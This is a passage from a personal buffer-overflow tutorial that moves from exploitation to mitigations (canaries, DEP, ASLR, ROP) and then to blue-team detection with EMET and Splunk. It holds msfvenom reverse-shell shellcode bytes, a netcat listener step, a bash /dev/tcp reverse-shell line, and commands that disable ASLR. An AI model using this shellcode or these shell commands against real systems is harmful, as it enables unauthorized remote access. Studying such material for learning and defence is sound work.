this	shell	code	for	illustration.	The	reality	is	that	even	MSFVENOM	may	output	a	payload	with	bad	character	and	you	still	need	to	test.	

Another	note,	is	that	try	to	use	a	very	simple	piece	of	malware	for	the	first	code	execution.		

“The	larger	more	advanced	the	malware	is	in	the	buffer	overflows,	the	more	likely	you	are	to	run	into	bad	character	and	other	runtime	

issues,	it’s	just	simple	math…	more	characters	more	chances	for	failure”		

Keep	it	simple,	and	small.	You	don’t	always	need	reverse	shells	and	maybe	you	can’t	use	a	reverse	shell	because	of	bad	characters	or	

hardening.	Remember	you	can	always	get	a	bigger	payload	or	binary	down	to	the	machine	with	a	simple	TFTP,	GET,	CURL	or	ECHO	

command.	Let’s	run	the	attack	with	the	bad	characters	omitted	and	see	if	we	can	land	a	shell.		

	

	



	

New	Payload		

"\xda\xc2\xb8\x84\x78\xb5\xb8\xd9\x74\x24\xf4\x5f\x2b\xc9\xb1"	

"\x12\x31\x47\x17\x03\x47\x17\x83\x6b\x84\x57\x4d\x42\xae\x6f"	

"\x4d\xf7\x13\xc3\xf8\xf5\x1a\x02\x4c\x9f\xd1\x45\x3e\x06\x5a"	

"\x7a\x8c\x38\xd3\xfc\xf7\x50\x9b\xfe\x07\xa1\x0b\xfd\x07\xb0"	

"\x97\x88\xe9\x02\x41\xdb\xb8\x31\x3d\xd8\xb3\x54\x8c\x5f\x91"	

"\xfe\x61\x4f\x65\x96\x15\xa0\xa6\x04\x8f\x37\x5b\x9a\x1c\xc1"	

"\x7d\xaa\xa8\x1c\xfd"	

	

● Enable	netcat	on	port	4444	(nc	-lvp	4444)		

● Turn	on	the	vulnerable	server	in	EDB	(./Server	1337)	and	then	attach	the	program	to	EDB	

● Run	the	updated	client.py	script	against	the	vulnerable	server	(python	client.py	1337)	

● Wait	for	the	victim	machine	to	connect	back	to	the	“Attacker”	on	port	4444	

● Click	“Run	through	program”	because	you	may	be	caught	in	debug	mode		

Final	Results		

	

	

	



	

Success!		It	looks	like	the	stack	was	overwritten	and	we	successfully	told	EIP	to	point	into	our	NOPSELD	located	in	ESP.	From	there,	

the	CPU	ran	through	the	memory	until	it	got	our	malicious	code.	The	reverse	shell	command	executed	in	the	stack	and	connected	back	

to	our	“attacking”	terminal	(farthest	right).		

Common	Buffer	Overflow	Example	and	Mitigations	(in	C)	

Whether	your	writing	source	or	you	just	reversed	engineered	a	compiled	binary	with	GHIDRA	you	may	want	to	know	which	functions	are	

more	likely	to	cause	an	overflow.		Older	C	library	functions	like	strcpy	(),	strcat	(),	sprintf	()	and	vsprintf	()	operate	on	null	terminated	

strings	and	perform	no	bounds	checking.	Gets	()	is	another	function	that	reads	input	(into	a	buffer)	from	stdin	until	a	terminating	newline	

or	EOF	(End	of	File)	is	found.	The	scanf	()	family	of	functions	also	may	result	in	buffer	overflows.	Using	strncpy(),	strncat(),	snprintf(),	

and	fgets()	all	mitigate	this	problem	by	specifying	a	maximum	string	length	of	N.	Here’s	a	few	well	documented	examples.	I	provided	the	

assembly	instructions	to	illustrate	that	you	might	be	able	to	reverse	engineer	where	BO’s	present	themselves	from	observing	the	

registers	of	a	compiled	binary	or	reviewing	the	output	from	GHIDRA.		

	

gets	

The	stdio	gets()	function	does	not	check	for	buffer	length	and	always	results	in	a	vulnerability.	

Vulnerable	Code	(SOURCE)	

printf	external	link("Input	something	nasty	here:	");	

gets	(something);	//	

Vulnerable	Code	(ASSEMBLY)	

	

	

Fixed	Code		

	printf	external	link("Input	something	nasty	here:	");	

	fgets(username,LENGTH,	stdin);	

	



strcpy	

The	strcpy	built-in	function	does	not	natively	check	buffer	lengths.	As	illustrated	in	our	example	is		can	overwrite	memory	zone	

contiguous	to	memory	where	the	payload	is	stored.	

Vulnerable	Code		

char	str1[10];	

char	str2[]="bad	stuff	here";	

strcpy	(str1,str2);	

Fixed	Code	(SOURCE)	

enum	{	BUFFER_LIMIT	=	1024	};	

int	main()	{	

				char	dst[BUFFER_LIMIT	];	

				char	src[]	=	"bad	stuff	here";	

					int	buffer_length	=		strlcpy(dst,	src,	BUFFER_LIMIT	);	

				if	(buffer_length	>=	BUFFER_LIMIT	)	{	

								printf	external	link("Stop	trying	to	overflow	my	buffer:	%d	(%d	is	the	length	\n",	

																buffer_length,	BUFFER_LIMIT	-1);	

			}	

Vulnerable	Code	(ASSEMBLY)	

	

	

Another	way	to	mitigate		strcpy		issue	that	comes	up	in	blogs	and	owasp	is			strncpy	,	which	can	prevent	buffer	overflows.		

Fixed	Code	(SOURCE)	



enum	{	BUFFER_BOUNDARY_SIZE	=	1024	};	

char	str1[BUFFER_BOUNDARY_SIZE];	

char	str2[]="bad	stuff	here";	

strncpy(str1,str2,	BUFFER_BOUNDARY_SIZE);		/*	limits	the	number	of	characters	to	be	copied	to	fized	length	of	buffer	size/	

	

strcat		

You	may	also	see	the	use	of		strcat		instead	of		strncat	.	strcat	does	not	natively	support	setting	an	N	limit	on	the	argument	passed	into	

the	buffer.	Appends	the	first	num	characters	of	source	to	destination,	plus	a	terminating	null-character.	If	the	length	of	the	C	string	in	

source	is	less	than	num,	only	the	content	up	to	the	terminating	null-character	is	copied.	

	

Fixed	Code	(SOURCE)	

#define	BUFFER_BOUNDARY_SIZE	1024	

char	buff[BUFFER_BOUNDARY_SIZE];	

//Use	secure	strncpy	then	use		

strlcpy	(buff,	"String	1",	BUFFER_BOUNDARY_SIZE	-	1);	

buff[BUFFER_BOUNDARY_SIZE	-	1]	=	'\0';	

strncat(buff,	"String	2",	BUFFER_BOUNDARY_SIZE	-	strlen(buff)	-	1);	

strcmp	

Compares	the	C	string	str1	to	the	C	string	str2.	This	function	starts	comparing	the	first	character	of	each	string.	If	they	are	equal	to	each	

other,	it	continues	with	the	following	pairs	until	the	characters	differ	or	until	a	terminating	null-character	is	reached	.		Strcmp	does	not	

validate	the	size	of	the	input	against	the	predefined	buffer.		

Other	Mitigations	to	Buffer	Overflows		

During this tutorial I asked you to disable a few protections so we can perform a basic overflow PoC. For example, you had disable	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

ASLR in Linux using the /proc/sys/kernel/randomize_va_space interface. You may have noticed the compiled C binaries needed the	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

following arguments -fno-stack-protector and -z execstac passed at compile time to remove C memory protections. Modern exploits	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

need to bypass these advanced mechanisms so there’s an entirely new rabbit hole. I’ll only cover a few very broad areas here for my	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

own interest and to set myself up for further PoC’s and papers in the journey ahead. The following should be just enough for the	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

newcomer	to	dip	their	toes	into	the	subjects.		



Canary	

A less useful protections involves a method called a stack canary protections. A stack canary work by modifying every function's	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

prologue and epilogue regions to assign a special “Canary” character and check if the canary value is on the stack. If not the canary	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

“sings” to warn you. lol. An example is The Stack Smashing Protector (SSP) compiler feature which according to their website helps	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

detect stack buffer overrun by aborting if a secret value on the stack is changed. SSP even admits that if an attacker can properly	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

overwrite	or	jump	a	canary	instruction	it	is	possible	to	bypass	the	protection.	Here	are	a	few	resources	I’ve	started	with.	

https://0x00sec.org/t/exploit-mitigation-techniques-stack-canaries/5085	

https://www.rapid7.com/resources/structured-exception-handler-overwrite-explained/	

https://www.exploit-db.com/docs/english/17505-structured-exception-handler-exploitation.pdf	

DEP	-	Data	Execution	Protection		

DEP or executable-space protection specifically flags some memory regions as non-executable. The intent is that when malware	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

executes the machine code in the protected regions it will cause an execution exception. Flagging the memory regions and registers as	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

non-executable	means	the	attackers	code	cannot	be	run.	Ultimately,	this	makes	it	harder	to	achieve	of	buffer	overruns.		

For example, according the Linux man page on execstack	, “execstack is a program which sets, clears, or queries executable stack flag	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

of ELF binaries and shared libraries.” Another note, your compiled binaries could be flagged with a no execution bit (NX) while other	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

linked libraries may still have executable stacks. This is where problems arise. -fno-stack-protectactor disables stack overflow	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

security checks for certain (or all) routines. When option -fstack-protector-strong is specified, it enables stack overflow security checks	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

for	routines	with	any	type	of	buffer.		

In modern Windows software, DEP is configured at system boot via a policy setting in the boot configuration data. An application can get	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

the current policy setting by calling the GetSystemDEPPolicy function	. Hardware DEP is typically enabled by default in at the	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

bootloader but can be disabled with physical access. Depending on the policy setting, an User-Land application can change the DEP	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

setting for the current process by calling the SetProcessDEPPolicy function. Allowing user-land changes is where developers may	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

introduce	unprotected	compiled	binaries.		The	following	links	are	examples	of	how	to	implement	DEP	

https://lwn.net/Articles/422487/	

https://linux.die.net/man/8/execstack	

https://support.microsoft.com/en-us/help/875352/a-detailed-description-of-the-data-execution-prevention-dep-feature-in	

https://support.microsoft.com/en-us/help/912923/how-to-determine-that-hardware-dep-is-available-and-configured-on-your	

https://docs.microsoft.com/en-us/windows-hardware/drivers/devtest/boot-parameters-to-configure-dep-and-pae	

Bypassing	DEP	

Bypassing DEP and NX requires a method called Return-Oriented Programming. My first introduction to this concept was thanks to	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

David Maloney, Sr. Security Researcher at Rapid7 who had a great youtube video online that covered the concept at 1,000 feet view.	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

The	video	first	mentions	a	method	developed	going	to	return	to	lib	c	and	then	discusses	Return	Object	Programming	or	ROP	chaining.	

https://0x00sec.org/t/exploit-mitigation-techniques-stack-canaries/5085
https://www.rapid7.com/resources/structured-exception-handler-overwrite-explained/
https://www.exploit-db.com/docs/english/17505-structured-exception-handler-exploitation.pdf
https://lwn.net/Articles/422487/
https://linux.die.net/man/8/execstack
https://support.microsoft.com/en-us/help/875352/a-detailed-description-of-the-data-execution-prevention-dep-feature-in
https://support.microsoft.com/en-us/help/912923/how-to-determine-that-hardware-dep-is-available-and-configured-on-your
https://docs.microsoft.com/en-us/windows-hardware/drivers/devtest/boot-parameters-to-configure-dep-and-pae


So if stack execution is enabled, we’d expect that an attempt to execute from the stack will result in a terminated process and the cpu	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

will throw a segmentation fault. In the return to lib C method, instead of overwriting EIP with a JUMP ESP instruction like this PoC, you	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

overwrite	the	Instruction	Pointer	with	functions	from	within	libc	library.	

arguments. Another thing I learned is that libC is not required however it is just the most likely available and most common target in	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

linux. In a libC example, I found it was as simple as finding the memory location for system() and calling /bin/bash which was executable	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

in memory. As a counter defense some folks remove functions from libraries that can result in this type of chained execution. Another	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

option which does not rely on calls to external executable functions is Return Object Programming or ROP chaining. As mentioned in	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

the video, your exploit must make use of instruction sequences available in the program you’re attacking or libraries linked to the	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

application aka “rop gadgets”. When reading about ROP gadget I came across a line that explained there are intended sequences of	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

instructions and unintended sequences of instructions. Hmmmmm, why? Because misspelling, copy and pasting code … nope,	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

something	more	trvial,.	I’ll	re-use	this	quote	because	it	was	a	fun	puzzle		

“What!!! Unintended how come?? well if you look at a sentence like “the article” the writer intended to say “the article” but he didn’t	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

intend	to	have	the	word	“heart”	did	he.”	

	

Basically the instructions we’re looking for end in RET aka “Return”. You chain a bunch of these assembly instructions together in your	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

payload until you get a command that can perform similar execution to the malware we used in our simple PoC. You can find ROP	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

gadgets with the following in Immunity Debugger !mona rop -m *.dll -cp nonull or in linux you can try simple text search for RET	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

instruction	or		ROPgadget		Tool	on	GithHub	or	VNsecurity	called		ROPeme		and/or		/proc/pid/maps	.		

An example, used in a linked exploit-db article is chaining a bunch of ROP gadgets together to basically execute	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

“execve(“/bin/sh”,0,0)”	. Execve executes the program pointed to by filename. filename must be either a binary executable, or a script	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

which in our case would be something like a variable equal to our reverse shell command /bin/sh -i >& /dev/tcp/127.0.0.1/4444 0>&1.	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 		 	 	 	 	 	

But when Windows or Linux has ASLR enabled libraries those binaries will have a randomized virtual memory space, so it makes it	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

difficult	to	call	execve()	or	system().		

Another technique to bypass DEP makes use of native API that can change the execution flag on your memory spaces. Examples I’ve	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

found include VirtualAlloc	, HeapCreate	,	VirtualProtect APIs. If you can call upon these functions then you may be able to either create	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

a new executable space or change the flag for existing executable space. However, finding the memory addresses to these functions	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

and	calling	them	appears	to	be	a	different	story.		

	

https://github.com/JonathanSalwan/ROPgadget	

https://www.rapid7.com/resources/rop-exploit-explained/	

https://www.exploit-db.com/docs/english/17131-linux-exploit-development-part-3---ret2libc.pdf	

https://www.exploit-db.com/docs/english/28479-return-oriented-programming-(rop-ftw).pdf	

https://www.exploit-db.com/docs/english/44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programmi

ng-chains].pdf	

https://github.com/JonathanSalwan/ROPgadget
https://www.rapid7.com/resources/rop-exploit-explained/
https://www.exploit-db.com/docs/english/17131-linux-exploit-development-part-3---ret2libc.pdf
https://www.exploit-db.com/docs/english/28479-return-oriented-programming-(rop-ftw).pdf
https://www.exploit-db.com/docs/english/44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programming-chains].pdf
https://www.exploit-db.com/docs/english/44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programming-chains].pdf


	

ASLR	(Address	space	layout	randomization)	

In	our	example,	you	may	have	noticed	that	we	could	directly	pull	a	memory	address	and	re-use	that	address	in	oru	buffer	overflow	PoC.	
This	is	because	we	disabled	ASLR	via		
	
Linux	
	
echo	0	|	sudo	tee	/proc/sys/kernel/randomize_va_space	
	
Windows	
	
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session	Manager\Memory	Management]	
“MoveImages”=dword:00000000	
	
	
Address	space	layout	randomization	(ASLR)	is	a	mechanism		involved	in	reducing	reliability	of	exploitation	via	memory	corruption	
attacks	like	the	Buffer	Overflow	in	this	PoC.	In	our	PoC	you	may	have	noticed	we	pulled	the	hardware	memory	locations	of	our	binaries	
and	then	pointed	back	to	those	hardware	memory	locations.	If	you	can	obscure	those	memory	locations	such	that	predicting	them	is	
increasingly	difficult	then	the	barrier	entry	in	exploit	writing	and	execution	becomes	harder.	
	
For	example,	we	used	JMP	ESP	memory	location	to	slide	back	into	our	NOPSLED.	ASLR	would	randomly	arranges	the	virtual	memory	
address	space	positions	of	key	data	areas	of	a	process,	including	the	base	of	the	executable	and	the	positions	of	the	stack,	heap	and	
libraries	when	they	the	binary	is	loaded.	If	we	want	to	jump	into	a	ROP	gadget	or	call	native	API’s	and	DLLs		how	would	we	do	it	if	we	
can’t	accurately	update	a	registry	pointer	with	the	memory	location?		
	

Bypassing	ASLR	
	

Admittedly this is a very deep rabbit hole. Most write-ups and video tutorials require an expert level knowledge of assembly and	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

windows/linux software architecture beyond what I intended this write-up for. I’ll do my best to boil what I’ve learned down into digestible	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

chunks	and	hopefully	this	helps	guide	myself	and	other	further	studies.		

Non	ASLR	linked	binaries		

It seems like that as Windows and Linux made the transition to ASLR in the early 2000’s that about a decade later they were left with	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

some non ASLR binaries for cross compatibility. It could even be that some custom application you downloaded ported over something	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

that is specifically ASLR disabled. I found an example of this in the following two articles … Attacking specific functions within non ASLR	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

enabled binaries appears to be an early method where if we could find a “universal” DLL in windows or linux we may be able to call the	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

memory address of JMP ESP or ROP GADGET or similar from there. The point is, a combination of an insecure ASLR enabled program	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

with access or links to a non ASLR binary results in access instructions and predictable memory locations that can be used to bypass	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

ASLR	and	begin	a	ROP	attack.		

https://www.exploit-db.com/docs/english/17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3.pdf	

https://www.exploit-db.com/docs/english/17914-bypassing-aslrdep.pdf	

https://www.exploit-db.com/docs/english/17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3.pdf
https://www.exploit-db.com/docs/english/17914-bypassing-aslrdep.pdf


	

	

	

Pointer	Leaks	/	Dangling	Pointers		

If you dig deep enough you’ll find some mention of modern attacks using dangling pointers or pointer leakers to bypass ASLR. This isn’t	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

for the faint of heart and probably not for a newcomer like myself but I like rabbit holes. A dangling pointer bug can be used to put code	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

into an application. An object put into memory is allocated a space in heap and object functions are typically managed via a VFTABLE	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

which creates virtual pointers which reference the actual object in HEAP. My understanding is that if you can overwrite the memory	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

object in HEAP with exact procesion at the exact time after it has be de-allocated from memory but before it has been destructed that	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

the object space can be overwritten with malicious code. This is due to how allocation of heap is managed, de-allocated, freed and how	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

virtual	functions	are	referenced	via	virtual	tables.		

https://www.blackhat.com/presentations/bh-usa-07/Afek/Whitepaper/bh-usa-07-afek-WP.pdf	

https://www.owasp.org/images/f/fa/OWASP_IL_8_Dangling_Pointer.pdf	

https://www.rapid7.com/resources/why-you-should-be-using-emet/	

HEAP	Sprays	with	ASLR	disabled	VirtualAlloc()	in	Windows	

If you can’t find memory location of instructions in ASLR protected binaries and libraries it appears you can spray the heap and create	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

write chunks to memory of NOPs and malware. You would likely still need to bypass DEP so ROP chains still apply however you can	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

either look for non ASLR binary to ROP or spray ROP gadgets in the blocks passed to HEAP. Spraying Heap with memory allocated by	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

VirtualAlloc() appears to have been a successful method by bypass ASLR because VirtualAlloc() was not ASLR protected but this	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

seems	like	just	plain	luck.		

https://www.corelan.be/index.php/2011/12/31/exploit-writing-tutorial-part-11-heap-spraying-demystified/	

https://www.blackhat.com/presentations/bh-europe-07/Sotirov/Presentation/bh-eu-07-sotirov-apr19.pdf	

	

Blueteam	Engineering	for	post	Buffer	Overflow		

For my own general curiosity, I wanted to end this PoC with some notes on how detect a Buffer Overflow attack. My intent is to just	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

learn and see where it takes me. As a newcomer maybe this will help paint a better picture of cyber-security as a whole. Because BO’s	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

are memory attacks it can be difficult to detect unless you have a low level program monitoring for Canary issues, NX issues,	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

SEGVFAULT, x90’s, ROPs etc. Windows has offered EMET historically and more recently offered an IPS/IDS in Windows Defender to	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

Enterprise. There are also some “Next Gen” IDS/IPS that install in kernel space which have the logic to look for such events. As I	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

thought	through	this,	I	lumped	the	detection	into	two	buckets.		

1. Detecting	Failed	Buffer	Overflow	Attempts		

2. Detecting	Successfully	Buffer	Overflow	Attempts		

https://www.blackhat.com/presentations/bh-usa-07/Afek/Whitepaper/bh-usa-07-afek-WP.pdf
https://www.owasp.org/images/f/fa/OWASP_IL_8_Dangling_Pointer.pdf
https://www.rapid7.com/resources/why-you-should-be-using-emet/
https://www.corelan.be/index.php/2011/12/31/exploit-writing-tutorial-part-11-heap-spraying-demystified/
https://www.blackhat.com/presentations/bh-europe-07/Sotirov/Presentation/bh-eu-07-sotirov-apr19.pdf


	

Detecting	Failed	Buffer	Over	Attempts	in	Windows		

If you want to hunt attackers who attempt buffer overflow you can turn to the logs. For examples, EMET (Windows ASLR/DEP) events	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

are logged as a Windows event source called EMET. More modern Windows Defender Exploit Guard follows a similar pattern as the	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

one	I’m	going	to	outline.	EMET/Defender	logs	can	be	found	in	the	Windows	Application	log.		

For EMET, there are three levels: Information, Warning and Error. Information messages are used for logging usual operation such as	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

the EMET Notifier starting. Warning messages are used when EMET settings change. Error messages are used for logging cases	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

where	EMET	stopped	an	application	with	one	of	its	mitigations,	which	means	an	active	attack	has	been	blocked.	

EMET and Defender logs can be sent to a central log collection server or from the local machine. I’ll refer to an example where their	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

sent to a central log collector, parsed then sent onto your SIEM. Here is a brief example of an a SPLUNK integration on Windows but a	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

similar	model	could	be	deployed	with	Syslog,	Syslog	Servers	and	an	ELK	Stack	acting	as	a	SIEM.		

You’ll need to ensure your local endpoints are configured to log EMET via GPO, Windows Event Collector service is enabled and a	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

collection server is deployed. Here is an example of a local local log policy setting to push down to the endpoints being monitored via	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

GPO	etc.		

<QueryList>	

	<Query	Id="0"	Path="Application">	

	<Select	Path="Application">*[System[Provider[@Name='EMET']	and	(Level=2)]]</Select>	

	</Query>	

</QueryList>		

To analyze the EMET data in Splunk, you’ll need to install the Splunk Universal Forwarder on the central log collection server and	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

configure it to send logs from the collector/syslog server to a Splunk indexer. Splunk Indexer is just a fancy way to say a network service	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

to send your logs to which has some special logic to parser, filter, transform and write your logs in a unique format to Splunk based on	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

some	predefined	Splunk	policy.		

You’ll may need to set a filter on the central log server to parse the events for the EMET alerts before sending them on. Below is an	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

example	of	the	Windows	events	subscription	filter.	Remember	the	default	location	of	forwarded	log	events	is	the	Forwarded	Events	log.		

The following is a Splunk sample configurations that can be used in the Splunk inputs.conf file on the central log collection server.	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

Basically	this	policy	says	which	logs	can	get	sent	onto	the	SIEM.		

[WinEventLog://ForwardedEvents]	

disabled	=	0	

renderXml	=	1	

evt_resolve_ad_obj	=	1	

	



The above policy config tells the Splunk Universal Forwarder to monitor the Forwarded Events log on the log collection server and to	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

and send the events in XML format allows for facilitated extraction of information in Splunk to aid in the creation of useful Splunk	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

queries.	

Sample	EMET	Event:	

EMET	version	5.5.5871.31892	

EMET	detected	EAF+	mitigation	and	will	close	the	application:	IEXPLORE.EXE	

EAF+	check	failed:	

Application	:	C:\Program	Files	(x86)\Internet	Explorer\IEXPLORE.EXE	

User	Name	:	DOMAIN\user	

Session	ID	:	1	

PID	:	0x1348	(4936)	

TID	:	0xF90	(3984)	

Module	:	SOMEDLL.dll	

Mod	Base	:	0x11630000	

Mod	Address	:	0x11642E99	

Mem	Address	:	0x76F501A4	

	

Your Blue Team can configure an alert based on these results. Consider correlating the alert with internal ranking of the assets value to	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

prioritize the response. For example, an alert like this on a PCI system or system storing your unreleased Intellectual Property may	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

need immediate action compared to a non production server being pen tested. Although, a non production server sounds like a nice	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

beachhead	to	maintain	a	foothold.		

https://resources.sei.cmu.edu/asset_files/TechnicalNote/2016_004_001_466182.pdf	

https://blogs.technet.microsoft.com/thedutchguy/2017/01/24/windows-event-forwarding-to-a-workgroup-collector-server/	

	

Detecting	Successful	Buffer	Over	Attempts	

The Blue Team philosophy is to assume your compromise and look for Indicators of Compromise. In this model, we assume the attacker	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

has successfully launched a buffer overflow and gained command and control over the asset. Which means our mitigations have failed,	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

which they will. In my mind, there are two techniques I’d lie to cover. I’m sure there are more but as a newcomer, I think these two	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

approaches	paints	a	solid	picture.		

1.) Network	based	signature	detection	(This	may	also	catch	unsuccessful	attempts)	

2.) Host	based	signature	detection		

	

	

	

https://resources.sei.cmu.edu/asset_files/TechnicalNote/2016_004_001_466182.pdf
https://blogs.technet.microsoft.com/thedutchguy/2017/01/24/windows-event-forwarding-to-a-workgroup-collector-server/


	

Network	Based	Detection		

Let’s consider the basic reverse shell we created with MSFVENOM from metasploit and packched into our malware variable in the	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

client.py	script.		When	this	attack	occurs	it	has	a	few	unique	characteristics	inside	the	network	communication.		

1. Encoded	HEX	payload,	malware,		within	the	client	attack		

2. A	bunch	of	x\90’s,		within	the	client	attack		

3. possibly	/bin/bash	or	other	unique	strings	sent	back	in	the	reverse	shell	as	STIO	to	the	attackers	terminal		

	

If you had an inline or passive IDS which had access to the buffer overflow network packets, a Blue Teams will likely have	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

SNORT/SURICATA rules which alert on signatures that match our payload. This is because the commands to gain a reverse shell from	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

bash, sh, python etc. are universally known. I’ve included a few examples of emerging shell_code SNORT rules that look for metasploit	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

generated	BSD	shellcode.	 	

	

